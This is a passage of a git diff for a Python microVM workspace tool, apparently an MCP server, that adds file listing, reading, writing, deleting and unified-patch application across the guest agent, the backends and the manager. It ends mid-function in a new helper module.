"--all", "--json") @@ -90,6 +98,7 @@ PUBLIC_CLI_RUN_FLAGS = ( ) PUBLIC_SDK_METHODS = ( + "apply_workspace_patch", "close_shell", "create_server", "create_snapshot", @@ -108,6 +117,7 @@ PUBLIC_SDK_METHODS = ( "list_services", "list_snapshots", "list_workspace_disk", + "list_workspace_files", "logs_service", "logs_workspace", "network_info_vm", @@ -117,6 +127,7 @@ PUBLIC_SDK_METHODS = ( "push_workspace_sync", "read_shell", "read_workspace_disk", + "read_workspace_file", "reap_expired", "reset_workspace", "run_in_vm", @@ -131,6 +142,7 @@ PUBLIC_SDK_METHODS = ( "stop_vm", "stop_workspace", "write_shell", + "write_workspace_file", ) PUBLIC_MCP_TOOLS = ( @@ -165,7 +177,11 @@ PUBLIC_MCP_TOOLS = ( "workspace_diff", "workspace_exec", "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_file_write", "workspace_logs", + "workspace_patch_apply", "workspace_reset", "workspace_start", "workspace_status", diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index 607c76d..a469d7b 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -3,6 +3,7 @@ from __future__ import annotations +import base64 import codecs import fcntl import io @@ -31,6 +32,7 @@ WORKSPACE_ROOT = PurePosixPath("/workspace") SHELL_ROOT = Path("/run/pyro-shells") SERVICE_ROOT = Path("/run/pyro-services") SECRET_ROOT = Path("/run/pyro-secrets") +WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") SHELL_SIGNAL_MAP = { "HUP": signal.SIGHUP, @@ -328,6 +330,153 @@ def _prepare_export_archive(path: str) -> dict[str, Any]: raise +def _workspace_entry(path_text: str, host_path: Path) -> dict[str, Any]: + try: + stat_result = os.lstat(host_path) + except FileNotFoundError as exc: + raise RuntimeError(f"workspace path does not exist: {path_text}") from exc + if host_path.is_symlink(): + return { + "path": path_text, + "artifact_type": "symlink", + "size_bytes": stat_result.st_size, + "link_target": os.readlink(host_path), + } + if host_path.is_dir(): + return { + "path": path_text, + "artifact_type": "directory", + "size_bytes": 0, + "link_target": None, + } + if host_path.is_file(): + return { + "path": path_text, + "artifact_type": "file", + "size_bytes": stat_result.st_size, + "link_target": None, + } + raise RuntimeError(f"unsupported workspace path type: {path_text}") + + +def _join_workspace_path(base: str, child_name: str) -> str: + base_path = PurePosixPath(base) + return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" + + +def _list_workspace(path: str, *, recursive: bool) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "directory": + return { + "path": str(normalized_path), + "artifact_type": entry["artifact_type"], + "entries": [entry], + } + entries: list[dict[str, Any]] = [] + + def walk(current_path: str, current_host_path: Path) -> None: + children: list[tuple[dict[str, Any], Path]] = [] + with os.scandir(current_host_path) as iterator: + for child in iterator: + child_host_path = Path(child.path) + children.append( + ( + _workspace_entry( + _join_workspace_path(current_path, child.name), + child_host_path, + ), + child_host_path, + ) + ) + children.sort(key=lambda item: str(item[0]["path"])) + for child_entry, child_host_path in children: + entries.append(child_entry) + if recursive and child_entry["artifact_type"] == "directory": + walk(str(child_entry["path"]), child_host_path) + + walk(str(normalized_path), host_path) + return { + "path": str(normalized_path), + "artifact_type": "directory", + "entries": entries, + } + + +def _read_workspace_file(path: str, *, max_bytes: int) -> dict[str, Any]: + if max_bytes <= 0: + raise RuntimeError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file read only supports regular files") + raw_bytes = host_path.read_bytes() + if len(raw_bytes) > max_bytes: + raise RuntimeError( + f"workspace file exceeds the maximum supported size of {max_bytes} bytes" + ) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "content_b64": base64.b64encode(raw_bytes).decode("ascii"), + } + + +def _ensure_no_symlink_parents_for_write(root: Path, target_path: Path, path_text: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"workspace path would traverse through a symlinked parent: {path_text}" + ) + + +def _write_workspace_file(path: str, *, text: str) -> dict[str, Any]: + raw_bytes = text.encode("utf-8") + if len(raw_bytes) > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + normalized_path, host_path = _normalize_destination(path) + _ensure_no_symlink_parents_for_write(Path("/workspace"), host_path, str(normalized_path)) + if host_path.exists() or host_path.is_symlink(): + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file write only supports regular file targets") + host_path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + prefix=".pyro-workspace-write-", + dir=host_path.parent, + delete=False, + ) as handle: + temp_path = Path(handle.name) + handle.write(raw_bytes) + os.replace(temp_path, host_path) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "bytes_written": len(raw_bytes), + } + + +def _delete_workspace_path(path: str) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] == "directory": + raise RuntimeError("workspace file delete does not support directories") + host_path.unlink(missing_ok=False) + return { + "path": str(normalized_path), + "deleted": True, + } + + def _run_command( command: str, timeout_seconds: int, @@ -931,6 +1080,23 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: raise RuntimeError("archive_size must not be negative") payload = _read_exact(conn, archive_size) return _install_secrets_archive(payload) + if action == "list_workspace": + return _list_workspace( + str(request.get("path", "/workspace")), + recursive=bool(request.get("recursive", False)), + ) + if action == "read_workspace_file": + return _read_workspace_file( + str(request.get("path", "/workspace")), + max_bytes=int(request.get("max_bytes", WORKSPACE_FILE_MAX_BYTES)), + ) + if action == "write_workspace_file": + return _write_workspace_file( + str(request.get("path", "/workspace")), + text=str(request.get("text", "")), + ) + if action == "delete_workspace_path": + return _delete_workspace_path(str(request.get("path", "/workspace"))) if action == "open_shell": shell_id = str(request.get("shell_id", "")).strip() if shell_id == "": diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 3dcc733..46e5ccf 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -25,7 +25,7 @@ "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "76a0bd05b523bb952ab9eaf5a3f2e0cbf1fc458d1e44894e2c0d206b05896328" + "sha256": "81fe2523a40f9e88ee38601292b25919059be7faa049c9d02e9466453319c7dd" }, "init": { "path": "guest/pyro-init", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index c34537e..51420b4 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.1.0" +DEFAULT_CATALOG_VERSION = "3.2.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index e2f2c88..9e66ef2 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -2,6 +2,7 @@ from __future__ import annotations +import base64 import json import socket from dataclasses import dataclass @@ -47,6 +48,13 @@ class GuestArchiveExportResponse: bytes_written: int +@dataclass(frozen=True) +class GuestWorkspaceFileReadResponse: + path: str + size_bytes: int + content_bytes: bytes + + @dataclass(frozen=True) class GuestShellSummary: shell_id: str @@ -218,6 +226,102 @@ class VsockExecClient: bytes_written=int(payload.get("bytes_written", 0)), ) + def list_workspace_entries( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + recursive: bool, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "list_workspace", + "path": workspace_path, + "recursive": recursive, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace file list response must be a JSON object", + ) + + def read_workspace_file( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + max_bytes: int, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "read_workspace_file", + "path": workspace_path, + "max_bytes": max_bytes, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace file read response must be a JSON object", + ) + raw_content = payload.get("content_b64", "") + if not isinstance(raw_content, str): + raise RuntimeError("guest workspace file read response is missing content_b64") + payload["content_bytes"] = base64.b64decode(raw_content.encode("ascii"), validate=True) + payload.pop("content_b64", None) + return payload + + def write_workspace_file( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + text: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "write_workspace_file", + "path": workspace_path, + "text": text, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace file write response must be a JSON object", + ) + + def delete_workspace_path( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "delete_workspace_path", + "path": workspace_path, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest workspace path delete response must be a JSON object", + ) + def open_shell( self, guest_cid: int, diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 20e7704..c3561a7 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -40,6 +40,25 @@ from pyro_mcp.workspace_disk import ( read_workspace_disk_file, scrub_workspace_runtime_paths, ) +from pyro_mcp.workspace_files import ( + DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES as DEFAULT_WORKSPACE_FILE_READ_LIMIT, +) +from pyro_mcp.workspace_files import ( + WORKSPACE_FILE_MAX_BYTES as WORKSPACE_FILE_MAX_LIMIT, +) +from pyro_mcp.workspace_files import ( + WORKSPACE_PATCH_MAX_BYTES as WORKSPACE_PATCH_MAX_LIMIT, +) +from pyro_mcp.workspace_files import ( + WorkspaceTextPatch, + apply_unified_text_patch, + delete_workspace_path, + list_workspace_files, + normalize_workspace_path, + parse_unified_text_patch, + read_workspace_file, + write_workspace_file, +) from pyro_mcp.workspace_ports import DEFAULT_PUBLISHED_PORT_HOST from pyro_mcp.workspace_shells import ( create_local_shell, @@ -79,6 +98,9 @@ DEFAULT_SHELL_COLS = 120 DEFAULT_SHELL_ROWS = 30 DEFAULT_SHELL_MAX_CHARS = 65536 DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES = 65536 +DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = DEFAULT_WORKSPACE_FILE_READ_LIMIT +WORKSPACE_FILE_MAX_BYTES = WORKSPACE_FILE_MAX_LIMIT +WORKSPACE_PATCH_MAX_BYTES = WORKSPACE_PATCH_MAX_LIMIT DEFAULT_SERVICE_READY_TIMEOUT_SECONDS = 30 DEFAULT_SERVICE_READY_INTERVAL_MS = 500 DEFAULT_SERVICE_LOG_TAIL_LINES = 200 @@ -818,6 +840,49 @@ def _normalize_workspace_disk_path(path: str) -> str: return normalized +def _normalize_workspace_file_path(path: str) -> str: + return normalize_workspace_path(path) + + +def _validate_workspace_file_read_max_bytes(max_bytes: int) -> int: + if max_bytes <= 0: + raise ValueError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + return max_bytes + + +def _validate_workspace_text_payload(text: str, *, field_name: str) -> str: + encoded = text.encode("utf-8") + if len(encoded) > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"{field_name} must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + return text + + +def _validate_workspace_patch_text(patch: str) -> str: + if patch.strip() == "": + raise ValueError("patch must not be empty") + encoded = patch.encode("utf-8") + if len(encoded) > WORKSPACE_PATCH_MAX_BYTES: + raise ValueError( + f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8" + ) + return patch + + +def _decode_workspace_patch_text(path: str, content_bytes: bytes) -> str: + try: + return content_bytes.decode("utf-8") + except UnicodeDecodeError as exc: + raise RuntimeError( + f"workspace patch only supports UTF-8 text files: {path}" + ) from exc + + def _normalize_archive_member_name(name: str) -> PurePosixPath: candidate = name.strip() if candidate == "": @@ -2077,6 +2142,41 @@ class VmBackend: ) -> dict[str, Any]: raise NotImplementedError + def list_workspace_entries( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + recursive: bool, + ) -> dict[str, Any]: + raise NotImplementedError + + def read_workspace_file( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + max_bytes: int, + ) -> dict[str, Any]: + raise NotImplementedError + + def write_workspace_file( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + text: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def delete_workspace_path( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + ) -> dict[str, Any]: + raise NotImplementedError + def open_shell( # pragma: no cover self, instance: VmInstance, @@ -2256,6 +2356,79 @@ class MockBackend(VmBackend): "execution_mode": "host_compat", } + def list_workspace_entries( + self, + instance: VmInstance, + *, + workspace_path: str, + recursive: bool, + ) -> dict[str, Any]: + listing = list_workspace_files( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + recursive=recursive, + ) + return { + "path": listing.path, + "artifact_type": listing.artifact_type, + "entries": [entry.to_payload() for entry in listing.entries], + "execution_mode": "host_compat", + } + + def read_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + max_bytes: int, + ) -> dict[str, Any]: + file_result = read_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + max_bytes=max_bytes, + ) + return { + "path": file_result.path, + "size_bytes": file_result.size_bytes, + "content_bytes": file_result.content_bytes, + "execution_mode": "host_compat", + } + + def write_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + text: str, + ) -> dict[str, Any]: + result = write_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + text=text, + ) + return { + "path": result.path, + "size_bytes": result.size_bytes, + "bytes_written": result.bytes_written, + "execution_mode": "host_compat", + } + + def delete_workspace_path( + self, + instance: VmInstance, + *, + workspace_path: str, + ) -> dict[str, Any]: + result = delete_workspace_path( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + ) + return { + "path": result.path, + "deleted": result.deleted, + "execution_mode": "host_compat", + } + def open_shell( self, instance: VmInstance, @@ -2776,6 +2949,134 @@ class FirecrackerBackend(VmBackend): # pragma: no cover "execution_mode": "host_compat", } + def list_workspace_entries( + self, + instance: VmInstance, + *, + workspace_path: str, + recursive: bool, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.list_workspace_entries( + guest_cid, + port, + workspace_path=workspace_path, + recursive=recursive, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + listing = list_workspace_files( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + recursive=recursive, + ) + return { + "path": listing.path, + "artifact_type": listing.artifact_type, + "entries": [entry.to_payload() for entry in listing.entries], + "execution_mode": "host_compat", + } + + def read_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + max_bytes: int, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.read_workspace_file( + guest_cid, + port, + workspace_path=workspace_path, + max_bytes=max_bytes, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + file_result = read_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + max_bytes=max_bytes, + ) + return { + "path": file_result.path, + "size_bytes": file_result.size_bytes, + "content_bytes": file_result.content_bytes, + "execution_mode": "host_compat", + } + + def write_workspace_file( + self, + instance: VmInstance, + *, + workspace_path: str, + text: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.write_workspace_file( + guest_cid, + port, + workspace_path=workspace_path, + text=text, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + result = write_workspace_file( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + text=text, + ) + return { + "path": result.path, + "size_bytes": result.size_bytes, + "bytes_written": result.bytes_written, + "execution_mode": "host_compat", + } + + def delete_workspace_path( + self, + instance: VmInstance, + *, + workspace_path: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.delete_workspace_path( + guest_cid, + port, + workspace_path=workspace_path, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + instance.metadata["execution_mode"] = "host_compat" + result = delete_workspace_path( + _instance_workspace_host_dir(instance), + workspace_path=workspace_path, + ) + return { + "path": result.path, + "deleted": result.deleted, + "execution_mode": "host_compat", + } + def open_shell( self, instance: VmInstance, @@ -3585,6 +3886,235 @@ class VmManager: diff_payload["workspace_id"] = workspace_id return diff_payload + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = WORKSPACE_GUEST_PATH, + recursive: bool = False, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_file_path(path) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_file_list", + ) + listing = self._backend.list_workspace_entries( + instance, + workspace_path=normalized_path, + recursive=recursive, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "path": str(listing["path"]), + "recursive": recursive, + "entries": cast(list[dict[str, Any]], list(listing.get("entries", []))), + "execution_mode": str( + listing.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_file_path(path) + normalized_max_bytes = _validate_workspace_file_read_max_bytes(max_bytes) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_file_read", + ) + payload = self._backend.read_workspace_file( + instance, + workspace_path=normalized_path, + max_bytes=WORKSPACE_FILE_MAX_BYTES, + ) + raw_bytes = cast(bytes, payload["content_bytes"]) + content = raw_bytes[:normalized_max_bytes].decode("utf-8", errors="replace") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "path": str(payload["path"]), + "size_bytes": int(payload["size_bytes"]), + "max_bytes": normalized_max_bytes, + "content": content, + "truncated": len(raw_bytes) > normalized_max_bytes, + "execution_mode": str( + payload.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_file_path(path) + normalized_text = _validate_workspace_text_payload(text, field_name="text") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_file_write", + ) + payload = self._backend.write_workspace_file( + instance, + workspace_path=normalized_path, + text=normalized_text, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "path": str(payload["path"]), + "size_bytes": int(payload["size_bytes"]), + "bytes_written": int(payload["bytes_written"]), + "execution_mode": str( + payload.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + patch_text = _validate_workspace_patch_text(patch) + parsed_patches = parse_unified_text_patch(patch_text) + patch_by_path: dict[str, WorkspaceTextPatch] = {} + for text_patch in parsed_patches: + if text_patch.path in patch_by_path: + raise ValueError(f"patch contains duplicate file entries for {text_patch.path}") + patch_by_path[text_patch.path] = text_patch + + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_patch_apply", + ) + + planned_writes: dict[str, str] = {} + planned_deletes: list[str] = [] + summary = { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + } + entries: list[dict[str, str]] = [] + + for path_text in sorted(patch_by_path): + file_patch = patch_by_path[path_text] + listing: dict[str, Any] | None = None + current_text: str | None = None + exists = True + try: + listing = self._backend.list_workspace_entries( + instance, + workspace_path=file_patch.path, + recursive=False, + ) + except RuntimeError as exc: + if "does not exist" in str(exc): + exists = False + else: + raise + if exists: + if listing is None: + raise RuntimeError( + f"workspace patch could not inspect current path: {file_patch.path}" + ) + artifact_type = str(listing["artifact_type"]) + if artifact_type != "file": + raise RuntimeError( + f"workspace patch only supports regular files: {file_patch.path}" + ) + current_payload = self._backend.read_workspace_file( + instance, + workspace_path=file_patch.path, + max_bytes=WORKSPACE_FILE_MAX_BYTES, + ) + current_text = _decode_workspace_patch_text( + file_patch.path, + cast(bytes, current_payload["content_bytes"]), + ) + if file_patch.status == "added" and exists: + raise RuntimeError( + f"workspace patch cannot add an existing path: {file_patch.path}" + ) + if file_patch.status in {"modified", "deleted"} and not exists: + raise RuntimeError( + f"workspace patch cannot modify a missing path: {file_patch.path}" + ) + after_text = apply_unified_text_patch( + path=file_patch.path, + patch=file_patch, + before_text=current_text, + ) + if after_text is None: + planned_deletes.append(file_patch.path) + else: + planned_writes[file_patch.path] = after_text + summary["total"] += 1 + summary[file_patch.status] += 1 + entries.append({"path": file_patch.path, "status": file_patch.status}) + + for path_text in sorted(planned_writes): + self._backend.write_workspace_file( + instance, + workspace_path=path_text, + text=planned_writes[path_text], + ) + for path_text in sorted(planned_deletes): + self._backend.delete_workspace_path( + instance, + workspace_path=path_text, + ) + + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "changed": bool(entries), + "summary": summary, + "entries": entries, + "patch": patch_text, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + def create_snapshot( self, workspace_id: str, diff --git a/src/pyro_mcp/workspace_files.py b/src/pyro_mcp/workspace_files.py new file mode 100644 index 0000000..731a6ee --- /dev/null +++ b/src/pyro_mcp/workspace_files.py @@ -0,0 +1,456 @@ +"""Live workspace file operations and unified text patch helpers.""" + +from __future__ import annotations + +import os +import re +import tempfile +from dataclasses import dataclass +from pathlib import Path, PurePosixPath +from typing import Literal + +WORKSPACE_ROOT = PurePosixPath("/workspace") +DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = 65536 +WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 +WORKSPACE_PATCH_MAX_BYTES = 1024 * 1024 + +WorkspaceFileArtifactType = Literal["file", "directory", "symlink"] +WorkspacePatchStatus = Literal["added", "modified", "deleted"] + +_PATCH_HUNK_RE = re.compile( + r"^@@ -(?P\d+)(?:,(?P\d+))? " + r"\+(?P\d+)(?:,(?P\d+))? @@" +) + + +@dataclass(frozen=True) +class WorkspaceFileEntry: + path: str + artifact_type: WorkspaceFileArtifactType + size_bytes: int + link_target: str | None = None + + def to_payload(self) -> dict[str, str | int | None]: + return { + "path": self.path, + "artifact_type": self.artifact_type, + "size_bytes": self.size_bytes, + "link_target": self.link_target, + } + + +@dataclass(frozen=True) +class WorkspacePathListing: + path: str + artifact_type: WorkspaceFileArtifactType + entries: list[WorkspaceFileEntry] + + +@dataclass(frozen=True) +class WorkspaceFileReadResult: + path: str + size_bytes: int + content_bytes: bytes + + +@dataclass(frozen=True) +class WorkspaceFileWriteResult: + path: str + size_bytes: int + bytes_written: int + + +@dataclass(frozen=True) +class WorkspaceFileDeleteResult: + path: str + deleted: bool + + +@dataclass(frozen=True) +class WorkspacePatchHunk: + old_start: int + old_count: int + new_start: int + new_count: int + lines: list[str] + + +@dataclass(frozen=True) +class WorkspaceTextPatch: + path: str + status: WorkspacePatchStatus + hunks: list[WorkspacePatchHunk] + + +def list_workspace_files( + workspace_dir: Path, + *, + workspace_path: str, + recursive: bool, +) -> WorkspacePathListing: + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type != "directory": + return WorkspacePathListing( + path=entry.path, + artifact_type=entry.artifact_type, + entries=[entry], + ) + + entries: list[WorkspaceFileEntry] = [] + + def walk(current_path: str, current_host_path: Path) -> None: + children: list[WorkspaceFileEntry] = [] + with os.scandir(current_host_path) as iterator: + for child in iterator: + child_entry = _entry_for_host_path( + _join_workspace_path(current_path, child.name), + Path(child.path), + ) + children.append(child_entry) + children.sort(key=lambda item: item.path) + for child_entry in children: + entries.append(child_entry) + if recursive and child_entry.artifact_type == "directory": + walk(child_entry.path, workspace_host_path(workspace_dir, child_entry.path)) + + walk(normalized_path, host_path) + return WorkspacePathListing(path=normalized_path, artifact_type="directory", entries=entries) + + +def read_workspace_file( + workspace_dir: Path, + *, + workspace_path: str, + max_bytes: int = WORKSPACE_FILE_MAX_BYTES, +) -> WorkspaceFileReadResult: + _validate_max_bytes(max_bytes) + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type != "file": + raise RuntimeError("workspace file read only supports regular files") + raw_bytes = host_path.read_bytes() + if len(raw_bytes) > max_bytes: + raise RuntimeError( + f"workspace file exceeds the maximum supported size of {max_bytes} bytes" + ) + return WorkspaceFileReadResult( + path=normalized_path, + size_bytes=len(raw_bytes), + content_bytes=raw_bytes, + ) + + +def write_workspace_file( + workspace_dir: Path, + *, + workspace_path: str, + text: str, +) -> WorkspaceFileWriteResult: + encoded = text.encode("utf-8") + if len(encoded) > WORKSPACE_FILE_MAX_BYTES: + raise ValueError( + f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + _ensure_no_symlink_parents(workspace_dir, host_path, normalized_path) + if host_path.exists() or host_path.is_symlink(): + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type != "file": + raise RuntimeError("workspace file write only supports regular file targets") + host_path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + prefix=".pyro-workspace-write-", + dir=host_path.parent, + delete=False, + ) as handle: + temp_path = Path(handle.name) + handle.write(encoded) + os.replace(temp_path, host_path) + return WorkspaceFileWriteResult( + path=normalized_path, + size_bytes=len(encoded), + bytes_written=len(encoded), + ) + + +def delete_workspace_path( + workspace_dir: Path, + *, + workspace_path: str, +) -> WorkspaceFileDeleteResult: + normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) + entry = _entry_for_host_path(normalized_path, host_path) + if entry.artifact_type == "directory": + raise RuntimeError("workspace file delete does not support directories") + host_path.unlink(missing_ok=False) + return WorkspaceFileDeleteResult(path=normalized_path, deleted=True) + + +def parse_unified_text_patch(patch_text: str) -> list[WorkspaceTextPatch]: + encoded = patch_text.encode("utf-8") + if len(encoded) > WORKSPACE_PATCH_MAX_BYTES: + raise ValueError( + f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8" + ) + if patch_text.strip() == "": + raise ValueError("patch must not be empty") + + lines = 